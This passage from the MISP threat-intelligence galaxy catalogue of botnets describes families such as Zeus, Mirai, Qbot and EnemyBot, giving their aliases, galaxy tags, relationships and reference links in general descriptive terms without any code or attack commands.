Zeus, ZeuS, or Zbot is a Trojan horse malware package that runs on versions of Microsoft Windows. While it can be used to carry out many malicious and criminal tasks, it is often used to steal banking information by man-in-the-browser keystroke logging and form grabbing. It is also used to install the CryptoLocker ransomware. Zeus is spread mainly through drive-by downloads and phishing schemes. First identified in July 2007 when it was used to steal information from the United States Department of Transportation, it became more widespread in March 2009. In June 2009 security company Prevx discovered that Zeus had compromised over 74,000 FTP accounts on websites of such companies as the Bank of America, NASA, Monster.com, ABC, Oracle, Play.com, Cisco, Amazon, and BusinessWeek. Similarly to Koobface, Zeus has also been used to trick victims of tech support scams into giving the scam artists money through pop-up messages that claim the user has a virus, when in reality they might have no viruses at all. The scammers may use programs such as Command prompt or Event viewer to make the user believe that their computer is infected.

The tag is: `misp-galaxy:botnet="Zeus"`

Zeus is also known as:

- Zbot
- ZeuS
- PRG
- Wsnpoem
- Gorhax
- Kneber

Zeus has relationships with:

- similar: `misp-galaxy:tool="Zeus"` with `estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:banker="Zeus"` with `estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:malpedia="Zeus"` with `estimative-language:likelihood-probability="likely"`
Kelihos

The Kelihos botnet, also known as Hlux, is a botnet mainly involved in spamming and the theft of bitcoins.

The tag is: \textit{misp-galaxy:botnet="Kelihos"}

Kelihos is also known as:

- Hlux

View relationships graph

Kelihos has relationships with:

- similar: \textit{misp-galaxy:malpedia="Kelihos"} with \textit{estimative-language:likelihood-probability="likely"}

Table 726. Table References

| Links | https://en.wikipedia.org/wiki/Kelios_botnet |

Ramnit

Ramnit is a Computer worm affecting Windows users. It was estimated that it infected 800 000 Windows PCs between September and December 2011. The Ramnit botnet was dismantled by Europol and Symantec securities in 2015. In 2015, this infection was estimated at 3 200 000 PCs.

The tag is: \textit{misp-galaxy:botnet="Ramnit"}

View relationships graph

Ramnit has relationships with:

- similar: \textit{misp-galaxy:banker="Ramnit"} with \textit{estimative-language:likelihood-probability="likely"}
- similar: \textit{misp-galaxy:malpedia="Ramnit"} with \textit{estimative-language:likelihood-probability="likely"}

Table 727. Table References

| Links | https://en.wikipedia.org/wiki/Botnet |

232
Zer0n3t

The tag is: misp-galaxy:botnet="Zer0n3t"

Zer0n3t is also known as:

- Fib3rl0g1c
- Zer0n3t
- Zer0Log1x

Chameleon

The Chameleon botnet is a botnet that was discovered on February 28, 2013 by the security research firm, spider.io. It involved the infection of more than 120,000 computers and generated, on average, 6 million US dollars per month from advertising traffic. This traffic was generated on infected systems and looked to advertising parties as regular end users which browsed the Web, because of which it was seen as legitimate web traffic. The affected computers were all Windows PCs with the majority being private PCs (residential systems).

The tag is: misp-galaxy:botnet="Chameleon"

Table 728. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://en.wikipedia.org/wiki/Chameleon_botnet">https://en.wikipedia.org/wiki/Chameleon_botnet</a></td>
<td></td>
</tr>
</tbody>
</table>

Mirai

Mirai (Japanese for "the future", [未来]) is a malware that turns networked devices running Linux into remotely controlled "bots" that can be used as part of a botnet in large-scale network attacks. It primarily targets online consumer devices such as IP cameras and home routers. The Mirai botnet was first found in August 2016 by MalwareMustDie, a whitehat malware research group, and has been used in some of the largest and most disruptive distributed denial of service (DDoS) attacks, including an attack on 20 September 2016 on computer security journalist Brian Krebs's web site, an attack on French web host OVH, and the October 2016 Dyn cyberattack.

The tag is: misp-galaxy:botnet="Mirai"

View relationships graph

Mirai has relationships with:

- similar: misp-galaxy:tool="Mirai" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Mirai (ELF)" with estimative-language:likelihood-probability="likely"
- variant-of: misp-galaxy:botnet="Owari" with estimative-language:likelihood-probability="likely"
- variant-of: misp-galaxy:botnet="Sora" with estimative-language:likelihood-probability="likely"
XorDDoS

XOR DDOS is a Linux trojan used to perform large-scale DDoS

The tag is: `misp-galaxy:botnet="XorDDoS"`

Satori

According to a report Li shared with Bleeping Computer today, the Mirai Satori variant is quite different from all previous pure Mirai variants. Previous Mirai versions infected IoT devices and then downloaded a Telnet scanner component that attempted to find other victims and infect them with the Mirai bot. The Satori variant does not use a scanner but uses two embedded exploits that will try to connect to remote devices on ports 37215 and 52869. Effectively, this makes Satori an IoT worm, being able to spread by itself without the need for separate components.

The tag is: `misp-galaxy:botnet="Satori"`

Satori is also known as:

- Okiru

View relationships graph

Satori has relationships with:

- similar: `misp-galaxy:tool="Satori"` with `estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:malpedia="Satori"` with `estimative-language:likelihood-probability="likely"`
BetaBot

The tag is: `misp-galaxy:botnet="BetaBot"`

View relationships graph

BetaBot has relationships with:

- similar: `misp-galaxy:malpedia="BetaBot"` with `estimative-language:likelihood-probability="likely"`

Hajime

Hajime (meaning ‘beginning’ in Japanese) is an IoT worm that was first mentioned on 16 October 2016 in a public report by RapidityNetworks. One month later we saw the first samples being uploaded from Spain to VT. This worm builds a huge P2P botnet (almost 300,000 devices at the time of publishing this blogpost), but its real purpose remains unknown. It is worth mentioning that in the past, the Hajime IoT botnet was never used for massive DDoS attacks, and its existence was a mystery for many researchers, as the botnet only gathered infected devices but almost never did anything with them (except scan for other vulnerable devices).

The tag is: `misp-galaxy:botnet="Hajime"`

View relationships graph

Hajime has relationships with:

- similar: `misp-galaxy:malpedia="Hajime"` with `estimative-language:likelihood-probability="likely"`

Table 732. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://securelist.com/hajime-the-mysterious-evolving-botnet/78160/">https://securelist.com/hajime-the-mysterious-evolving-botnet/78160/</a></td>
</tr>
</tbody>
</table>

Muhstik

The botnet is exploiting the CVE-2018-7600 vulnerability —also known as Drupalggeddon 2— to access a specific URL and gain the ability to execute commands on a server running the Drupal CMS. At the technical level, Netlab says Muhstik is built on top of Tsunami, a very old strain of...
malware that has been used for years to create botnets by infecting Linux servers and smart devices running Linux-based firmware. Crooks have used Tsunami initially for DDoS attacks, but its feature-set has greatly expanded after its source code leaked online. The Muhstik version of Tsunami, according to a Netlab report published today, can launch DDoS attacks, install the XMRig Monero miner, or install the CGMiner to mine Dash cryptocurrency on infected hosts. Muhstik operators are using these three payloads to make money via the infected hosts.

The tag is: misp-galaxy:botnet="Muhstik"

### Hide and Seek

Security researchers have discovered the first IoT botnet malware strain that can survive device reboots and remain on infected devices after the initial compromise. This is a major game-changing moment in the realm of IoT and router malware. Until today, equipment owners could always remove IoT malware from their smart devices, modems, and routers by resetting the device. The reset operation flushed the device’s flash memory, where the device would keep all its working data, including IoT malware strains. But today, Bitdefender researchers announced they found an IoT malware strain that under certain circumstances copies itself to /etc/init.d/, a folder that houses daemon scripts on Linux-based operating systems —like the ones on routers and IoT devices. By placing itself in this menu, the device’s OS will automatically start the malware’s process after the next reboot.

The tag is: misp-galaxy:botnet="Hide and Seek"

Hide and Seek is also known as:

- HNS
- Hide 'N Seek

View relationships graph

Hide and Seek has relationships with:

- similar: misp-galaxy:malpedia="Hide and Seek" with estimative-language:likelihood-probability="likely"
Mettle

Command-and-control panel and the scanner of this botnet is hosted on a server residing in Vietnam. Attackers have been utilizing an open-sourced Mettle attack module to implant malware on vulnerable routers.

The tag is: misp-galaxy:botnet="Mettle"

Table 735. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://thehackernews.com/2018/05/botnet-malware-hacking.html">https://thehackernews.com/2018/05/botnet-malware-hacking.html</a></td>
</tr>
</tbody>
</table>

Owari

IoT botnet, Mirai variant that has added three exploits to its arsenal. After a successful exploit, this bot downloads its payload, Owari bot - another Mirai variant - or Omni bot. Author is called WICKED

The tag is: misp-galaxy:botnet="Owari"

View relationships graph

Owari has relationships with:

- similar: misp-galaxy:malpedia="Owari" with estimative-language:likelihood-probability="likely"
- variant-of: misp-galaxy:botnet="Mirai" with estimative-language:likelihood-probability="likely"
- variant-of: misp-galaxy:tool="Mirai" with estimative-language:likelihood-probability="likely"
- variant-of: misp-galaxy:botnet="Sora" with estimative-language:likelihood-probability="likely"

Table 736. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/a-wicked-family-of-bots.html">https://www.fortinet.com/blog/threat-research/a-wicked-family-of-bots.html</a></td>
</tr>
</tbody>
</table>

Brain Food

Brain Food is usually the second step in a chain of redirections, its PHP code is polymorphic and obfuscated with multiple layers of base64 encoding. Backdoor functionalities are also embedded in the code allowing remote execution of shell code on web servers which are configured to allow the PHP 'system' command.

The tag is: misp-galaxy:botnet="Brain Food"
Pontoeb

The bot gathers information from the infected system through WMI queries (SerialNumber, SystemDrive, operating system, processor architecture), which it then sends back to a remote attacker. It installs a backdoor giving an attacker the possibility to run command such as: download a file, update itself, visit a website and perform HTTP, SYN, UDP flooding

The tag is: `misp-galaxy:botnet="Pontoeb"`

Pontoeb is also known as:

- N0ise

Trik Spam Botnet

The tag is: `misp-galaxy:botnet="Trik Spam Botnet"`

Trik Spam Botnet is also known as:

- Trik Trojan

Madmax

The tag is: `misp-galaxy:botnet="Madmax"`

Madmax is also known as:

- Mad Max

View relationships graph
Madmax has relationships with:

- similar: misp-galaxy:tool="Mad Max" with estimative-language:likelihood-probability="likely"

Table 740. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Pushdo**

The tag is: `misp-galaxy:botnet="Pushdo"`

View relationships graph

Pushdo has relationships with:

- similar: misp-galaxy:malpedia="Pushdo" with estimative-language:likelihood-probability="likely"

Table 741. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://labs.bitdefender.com/2013/12/in-depth-analysis-of-pushdo-botnet/">https://labs.bitdefender.com/2013/12/in-depth-analysis-of-pushdo-botnet/</a></td>
</tr>
</tbody>
</table>

**Simda**

The tag is: `misp-galaxy:botnet="Simda"`

View relationships graph

Simda has relationships with:

- similar: misp-galaxy:malpedia="Simda" with estimative-language:likelihood-probability="likely"

Table 742. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.us-cert.gov/ncas/alerts/TA15-105A">https://www.us-cert.gov/ncas/alerts/TA15-105A</a></td>
</tr>
</tbody>
</table>

**Virut**

The tag is: `misp-galaxy:botnet="Virut"`

View relationships graph

Virut has relationships with:

- similar: misp-galaxy:malpedia="Virut" with estimative-language:likelihood-probability="likely"
**Beebone**

The tag is: `misp-galaxy:botnet="Beebone"`

**Bamital**

The tag is: `misp-galaxy:botnet="Bamital"`

Bamital is also known as:

- Mdrop-CSK
- Agent-OCF

**Gafgyt**

Linux.Gafgyt is a Trojan horse that opens a back door on the compromised computer and steals information. The new Gafgyt version targets a newly disclosed vulnerability affecting older, unsupported versions of SonicWall's Global Management System (GMS).

The tag is: `misp-galaxy:botnet="Gafgyt"`

Gafgyt is also known as:

- Bashlite

View relationships graph

Gafgyt has relationships with:

- similar: `misp-galaxy:tool="Gafgyt"` with `estimative-language:likelihood-probability="likely"`
Sora

Big changes on the IoT malware scene. Security researchers have spotted a version of the Mirai IoT malware that can run on a vast range of architectures, and even on Android devices. This Mirai malware strain is called Sora, a strain that was first spotted at the start of the year. Initial versions were nothing out of the ordinary, and Sora's original author soon moved on to developing the Mirai Owari version, shortly after Sora's creation.

The tag is: `misp-galaxy:botnet="Sora"`

Sora is also known as:

- Mirai Sora

View relationships graph

Sora has relationships with:

- variant-of: `misp-galaxy:botnet="Mirai"` with estimative-language:likelihood-probability="likely"
- variant-of: `misp-galaxy:tool="Mirai"` with estimative-language:likelihood-probability="likely"
- variant-of: `misp-galaxy:botnet="Owari"` with estimative-language:likelihood-probability="likely"

Torii

We have been observing a new malware strain, which we call Torii, that differs from Mirai and other botnets we know of, particularly in the advanced techniques it uses. The developers of the botnet seek wide coverage and for this purpose they created binaries for multiple CPU architectures, tailoring the malware for stealth and persistence.

The tag is: `misp-galaxy:botnet="Torii"`
Persirai

A new Internet of Things (IoT) botnet called Persirai (Detected by Trend Micro as ELF_PERSIRAI.A) has been discovered targeting over 1,000 Internet Protocol (IP) Camera models based on various Original Equipment Manufacturer (OEM) products. This development comes on the heels of Mirai—an open-source backdoor malware that caused some of the most notable incidents of 2016 via Distributed Denial-of-Service (DDoS) attacks that compromised IoT devices such as Digital Video Recorders (DVRs) and CCTV cameras—as well as the Hajime botnet.

The tag is: `misp-galaxy:botnet="Persirai"`

Chalubo

Since early September, SophosLabs has been monitoring an increasingly prolific attack targeting Internet-facing SSH servers on Linux-based systems that has been dropping a newly-discovered family of denial-of-service bots we’re calling Chalubo. The attackers encrypt both the main bot component and its corresponding Lua script using the ChaCha stream cipher. This adoption of anti-analysis techniques demonstrates an evolution in Linux malware, as the authors have adopted principles more common to Windows malware in an effort to thwart detection. Like some of its predecessors, Chalubo incorporates code from the Xor.DDoS and Mirai malware families.

The tag is: `misp-galaxy:botnet="Chalubo"`
AESDDoS

Our honeypot sensors recently detected an AESDDoS botnet malware variant (detected by Trend Micro as Backdoor.Linux.AESDDOS.J) exploiting a server-side template injection vulnerability (CVE-2019-3396) in the Widget Connector macro in Atlassian Confluence Server, a collaboration software program used by DevOps professionals.

The tag is: misp-galaxy:botnet="AESDDoS"

Arceus

A set of DDoS botnet.

The tag is: misp-galaxy:botnet="Arceus"

Arceus is also known as:

- Katura
- MyraV
- myra

Mozi

Mozi infects new devices through weak telnet passwords and exploitation.

The tag is: misp-galaxy:botnet="Mozi"
UPAS-Kit

UPAS-Kit was advertised by auroras a/k/a vinny in middle of june 2012 via exploit.in. Upas is the predecessor of Kronos. Marcus Hutchins helped create and, in partnership with another, sell malicious computer code, a/k/a malware, known as UPAS-Kit.

The tag is: `misp-galaxy:botnet="UPAS-Kit"`

UPAS-Kit is also known as:

- Rombrast

Table 753. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malware.dontneedcoffee.com/2012/08/inside-upas-kit1.0.1.1.html">https://malware.dontneedcoffee.com/2012/08/inside-upas-kit1.0.1.1.html</a></td>
</tr>
<tr>
<td><a href="https://regmedia.co.uk/2019/04/19/plea.pdf">https://regmedia.co.uk/2019/04/19/plea.pdf</a></td>
</tr>
</tbody>
</table>

Phorpiex

Proofpoint describes Phorpiex/Trik as a SDBot fork (thus IRC-based) that has been used to distribute GandCrab, Pushdo, Pony, and coinminers. The name Trik is derived from PDB strings.

The tag is: `misp-galaxy:botnet="Phorpiex"`

Phorpiex is also known as:

- Trik

Table 754. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.phorpiex">https://malpedia.caad.fkie.fraunhofer.de/details/win.phorpiex</a></td>
</tr>
</tbody>
</table>

DDG

First activity observed in October 2017. DDG is a botnet with P2P capability that is targeting cryptocurrency mining (Monero).

The tag is: `misp-galaxy:botnet="DDG"`

View relationships graph

DDG has relationships with:

- similar: `misp-galaxy:malpedia="DDG"` with estimative-language:likelihood-probability="likely"
Glupteba

A multi-component botnet targeting Windows Computer. Glupteba is known to steal user credentials and cookies, mine cryptocurrencies on infected hosts, deploy and operate proxy components targeting Windows systems and IoT devices. The botnet has been observed targeting victims worldwide, including the US, India, Brazil and Southeast Asia. The Glupteba malware family is primarily distributed through pay per install (PPI) networks and via traffic purchased from traffic distribution systems (TDS).

The tag is: misp-galaxy:botnet="Glupteba"

Elknot

DDoS Botnet

The tag is: misp-galaxy:botnet="Elknot"

Elknot is also known as:

- Linux/BillGates
- BillGates
Cyclops Blink

Advanced modular botnet that is reportedly linked to the Sandworm or Voodoo Bear advanced persistent threat (APT) group.

The tag is: `misp-galaxy:botnet="Cyclops Blink"`

Table 758. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.cisa.gov/uscert/ncas/alerts/aa22-054a">https://www.cisa.gov/uscert/ncas/alerts/aa22-054a</a></td>
</tr>
</tbody>
</table>

Abcbot

Botnet

The tag is: `misp-galaxy:botnet="Abcbot"`

Table 759. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blog.netlab.360.com/abcbot_an_evolving_botnet_en">https://blog.netlab.360.com/abcbot_an_evolving_botnet_en</a></td>
</tr>
</tbody>
</table>

Ripprbot

Botnet

The tag is: `misp-galaxy:botnet="Ripprbot"`

Table 760. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days">https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days</a></td>
</tr>
</tbody>
</table>

EnemyBot

In mid-March [2022], FortiGuard Labs observed a new DDoS botnet calling itself “Enemybot” and attributing itself to Keksec, a threat group that specializes in cryptomining and DDoS attacks.

This botnet is mainly derived from Gafgyt's source code but has been observed to borrow several modules from Mirai's original source code.

It uses several methods of obfuscation for its strings to hinder analysis and hide itself from other botnets. Furthermore, it connects to a command-and-control (C2) server that is hidden in the Tor network, making its takedown more complicated.
Enemybot has been seen targeting routers from Seowon Intech, D-Link, and exploits a recently reported iRZ router vulnerability to infect more devices.

The tag is: *misp-galaxy:botnet="EnemyBot"*

View relationships graph

EnemyBot has relationships with:

- similar: *misp-galaxy:malpedia="EnemyBot"* with estimative-language:likelihood-probability="likely"
- variant-of: *misp-galaxy:botnet="Mirai"* with estimative-language:likelihood-probability="likely"
- variant-of: *misp-galaxy:botnet="Gafgyt"* with estimative-language:likelihood-probability="likely"
- variant-of: *misp-galaxy:botnet="Zeus"* with estimative-language:likelihood-probability="likely"
- variant-of: *misp-galaxy:botnet="Qbot"* with estimative-language:likelihood-probability="likely"

**Table 761. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.securonix.com/blog/detecting-the-enemybot-botnet-advisory/">https://www.securonix.com/blog/detecting-the-enemybot-botnet-advisory/</a></td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.enemybot">https://malpedia.caad.fkie.fraunhofer.de/details/elf.enemybot</a></td>
</tr>
</tbody>
</table>

**Qbot**

Discovered in 2008 and under constant development, with gaps in operational use in the wild; operators are occasionally known as GOLD LAGOON. Banking Trojan, steals financial data, browser information/hooks, keystrokes, credentials; described by CheckPoint as a “Swiss Army knife”. Known to leverage many other tools; for example, PowerShell and Mimikatz are used for self-propagation. Attempts obfuscation via legitimate process injection. Known to serve as a dropper for ProLock ransomware. Infection vectors are common, with malspam as the most frequent. Active in 2020 – two big campaigns, one from March to June, second Starting in July and ongoing, as part of latest Emotet campaign. Newer version appeared in August.

The tag is: *misp-galaxy:botnet="Qbot"*

Qbot is also known as:

- QakBot
- Pinkslipbot

View relationships graph

Qbot has relationships with:
• dropped:  `misp-galaxy:ransomware="ProLock"` with `estimative-language:likelihood-probability="likely"`

• used-by: `misp-galaxy:ransomware="BlackBasta"` with `estimative-language:likelihood-probability="likely"`

**Table 762. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.cisa.gov/sites/default/files/publications/202010221030_QakBot%20TLPWHITE.pdf">https://www.cisa.gov/sites/default/files/publications/202010221030_QakBot%20TLPWHITE.pdf</a></td>
</tr>
</tbody>
</table>

**Dark.IoT**

This malware is characterized by alternative DNS connections and connects to several *.lib domains using custom DNS servers.

The tag is: `misp-galaxy:botnet="Dark.IoT"`

**View relationships graph**

Dark.IoT has relationships with:

• variant-of: `misp-galaxy:botnet="Mirai"` with `estimative-language:likelihood-probability="likely"`

**Table 763. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**KmsdBot**

Akamai Security Research has observed a new golang malware which they named KmsdBot. The malware scans for open SSH ports and performs a simple dictionary attack against it. The researchers from Akamai monitored only DDoS activity, but discovered also the functionality to launch cryptomining. The malware has varied targets including the gaming industry, technology industry, and luxury car manufacturers.

The tag is: `misp-galaxy:botnet="KmsdBot"`

**Table 764. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.akamai.com/blog/security-research/kmdsbot-the-attack-and-mine-malware">https://www.akamai.com/blog/security-research/kmdsbot-the-attack-and-mine-malware</a></td>
</tr>
</tbody>
</table>
### HinataBot

Akamai researchers on the Security Intelligence Response Team (SIRT) have discovered a new Go-based, DDoS-focused botnet. The malware appears to have been named “Hinata” by the malware author after a character from the popular anime series, Naruto. We are calling it “HinataBot.” Looks like an attempt to rewrite Mirai in Go. The threat actors behind HinataBot originally distributed Mirai binaries.

The tag is: `misp-galaxy:botnet="HinataBot"`

### 3ve

3ve, pronounced as “Eve”, was a botnet that was halted in late 2018. 3ve utilized the malware packages Boaxxe and Kovter to infect a network of PCs. They were spread through emails and fake downloads, and once infected, the bots would generate fake clicks on online advertisements. The clicks would be used on fake websites, which hosted ads and then absorbed the ad revenue from the false impressions. Bots were able to mimic desktop and mobile traffic in order to evade detection, and went through several evolutions of tactics to grow over time. At its peak, the botnet controlled more than one million residential and corporate IP-addresses, largely within Europe and North America.

The tag is: `misp-galaxy:botnet="3ve"`

### 7777-Botnet

7777-Botnet has been observed brute forcing Microsoft Azure instances via Microsoft Azure PowerShell bruteforcing. The botnet has a unique pattern of opening port 7777 on infected devices, returning an “xlogin:” message. The botnet has been used for low-volume attacks against targets of all industry sectors at a global scale, almost exclusively targeting C-Level employee logins. Due to the very low volume of around 2–3 login requests per week, the botnet is able to evade most security solutions.
Amadey

Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called tasks) for all or specifically targeted computers compromised by the malware.

AndroidBauts

AndroidBauts botnet is a network of infected Android devices that are used for promoting advertisements to users online. At one point, the number of infected devices was more than 550,000. The creators of the AndroidBauts botnet are able to gather data regarding the compromised devices - both software and hardware.

Andromeda

Andromeda botnet, also known as Gamarue or Wauchos, was first introduced to the public in 2011. During this time it was used to distribute large quantities of malware. According to Microsoft the Andromeda botnet was used to spread more than 80 malware families including ransomware, worms, and more. Andromeda is a modular malware, meaning additional components can be purchased to provide extra functionality.
Andromeda is also known as:

- Gamarue
- Wauchos

**Table 770. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**ArrkiiSDK**

ArrkiiSDK is potentially unwanted application (PUA) for Android devices. Its functions include unauthorised user tracking, ad fraud and the silent installation of additional applications without the user’s permission. ArrkiiSDK relies on the user actively installing an infected application, which is normally hidden within another software package that appears completely harmless.

The tag is: `misp-galaxy:botnet=“ArrkiiSDK“`

**Table 771. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Avalanche**

Avalanche refers to a large global network hosting infrastructure used by cyber criminals to conduct phishing and malware distribution campaigns and money mule schemes. It is a set of computer programs to conduct a DDoS attack. It is believed that trinoo networks have been set up on thousands of systems on the Internet that have been compromised by remote buffer overrun exploits. Cyber criminals utilized Avalanche botnet infrastructure to host and distribute a variety of malware variants to victims, including the targeting of over 40 major financial institutions. Victims may have had their sensitive personal information stolen (e.g., user account credentials). Victims’ compromised systems may also have been used to conduct other malicious activity, such as launching denial-of-service (DoS) attacks or distributing malware variants to other victims’ computers. In addition, Avalanche infrastructure was used to run money mule schemes where criminals recruited people to commit fraud involving transporting and laundering stolen money or merchandise. Avalanche used fast-flux DNS, a technique to hide the criminal servers, behind a constantly changing network of compromised systems acting as proxies.

The tag is: `misp-galaxy:botnet=“Avalanche“`
**Bayrob**

Bayrob evolved from a backdoor trojan used for fraud into a cryptocurrency miner. Symantec discovered multiple versions of Bayrob malware, and witnessed Bayrob as it morphed from online fraud to a 300,000+ botnet for cryptocurrency mining.

The tag is: `misp-galaxy:botnet="Bayrob"`

**Table 773. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://community.broadcom.com/symantecenterprise/viewdocument/bayrob-three-suspects-extradited-t?CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&amp;tab=librarydocuments">https://community.broadcom.com/symantecenterprise/viewdocument/bayrob-three-suspects-extradited-t?CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&amp;tab=librarydocuments</a></td>
</tr>
</tbody>
</table>

**Bedep**

Bedep has been mostly observed in ad-fraud campaigns, although it can also generally load modules for different tasks. It was dropped by the Angler Exploit Kit.

The tag is: `misp-galaxy:botnet="Bedep"`

**Table 774. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.bedep">https://malpedia.caad.fkie.fraunhofer.de/details/win.bedep</a></td>
</tr>
</tbody>
</table>

**Bolek**

Bolek is a malware from the Kbot/Carberp family. It is being subject to frequent updates and has malicious capabilities which include self-spreading through USB and network shares, TOR network access, screen captures and web injects, and uses asymmetric cryptography to secure network communications.

The tag is: `misp-galaxy:botnet="Bolek"`

*View relationships graph*

Bolek has relationships with:

- similar: `misp-galaxy:botnet="KBOT"` with estimative-language:likelihood-probability="likely"

**Table 775. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Carna

The Carna botnet was a botnet of 420,000 devices created by an anonymous hacker to measure the extent of the Internet. The data was collected by infiltrating Internet devices, especially routers, that used a default password or no password at all.

The tag is: `misp-galaxy:botnet="Carna"`

<table>
<thead>
<tr>
<th>Table 776. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://en.wikipedia.org/wiki/Carna_botnet">https://en.wikipedia.org/wiki/Carna_botnet</a></td>
</tr>
</tbody>
</table>

Code Shikara

Code Shikara is a computer worm, related to the Dorkbot family, that attacks through social engineering and capable of spying on users' browsing activities, meanwhile stealing their personal online/offline information and/or credentials.

The tag is: `misp-galaxy:botnet="Code Shikara"`

<table>
<thead>
<tr>
<th>Table 777. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
</tbody>
</table>

Condi

DDoS-as-a-service botnet calling itself Condi. This malware employs several techniques to keep itself running in an infected system. At the same time, it also prevents infections from other botnets by attempting to terminate their processes. Typical to Mirai-based botnets, this malware cannot survive a system reboot.

The tag is: `misp-galaxy:botnet="Condi"`

<table>
<thead>
<tr>
<th>Table 778. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/condi-ddos-botnet-spreads-via-tp-links-cve-2023-1389">https://www.fortinet.com/blog/threat-research/condi-ddos-botnet-spreads-via-tp-links-cve-2023-1389</a></td>
</tr>
</tbody>
</table>

Cooee

Cooee is a trojan pre-installed on some Phillips smartphones that displays annoying advertisements and downloads and installs different software without user knowledge.
**Coreflood**

Coreflood is a trojan horse and botnet created by a group of Russian hackers and released in 2010. The FBI included on its list of infected systems approximately 17 state or local government agencies, including one police department; three airports; two defense contractors; five banks or financial institutions; approximately 30 colleges or universities; approximately 20 hospital or health care companies; and hundreds of businesses. It is present on more than 2.3 million computers worldwide and as of May 2011 remains a threat.

**Crackonosh**

In 2021 Crackonosh has been found in 222,000 compromised computers that were used to download illegal, torrented versions of popular video games. Crackonosh successfully operated for years because it had built-in mechanisms to disable security software and updates, which made it difficult for users to detect and remove the program. The malware is thought to have originated in the Czech Republic, but it had a global reach.

**FluBot**

FluBot is a remote control and info stealer malware. It has abilities to read and send SMS message, delete app, and execute arbitrary commands. It is often distributed through SMS messages. PRODAFT describes FluBot as a banking malware which originally targeted Spain. Since the first quarter of 2021 it has been targeting many other European countries as well as Japan. It uses a DGA for it's C&C and relies on both DNS and DNS-over-HTTPS for name resolution. Despite arrests of multiple people suspected of involvement with this malware in March of 2021, the campaign has only intensified since.
The tag is: misp-galaxy:botnet="FluBot"

FluBot is also known as:

- Cabassous
- FakeChat

Table 782. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/apk.flubot">https://malpedia.caad.fkie.fraunhofer.de/details/apk.flubot</a></td>
<td></td>
</tr>
</tbody>
</table>

### FritzFrog

FritzFrog is a decentralized botnet that uses P2P protocols to distribute control over all of its nodes, thereby avoiding having one controller or single point of failure.

The tag is: misp-galaxy:botnet="FritzFrog"

Table 783. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://en.wikipedia.org/wiki/FritzFrog">https://en.wikipedia.org/wiki/FritzFrog</a></td>
<td></td>
</tr>
</tbody>
</table>

### Gootkit

Gootkit is a trojan that steals confidential information and allows criminals to take control of infected systems remotely. Gootkit can also be used to install additional malware, such as Emotet. This botnet is a type of malware bot that may perform many malicious tasks, such as downloading and executing additional malware, receiving commands from a control server and relaying specific information and telemetry back to the control server, updating or deleting itself, stealing login and password information, logging keystrokes, participating in a Distributed Denial of Service (DDoS) attack, or locking and encrypting the contents of your computer and demanding payment for its safe return.

The tag is: misp-galaxy:botnet="Gootkit"

Table 784. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
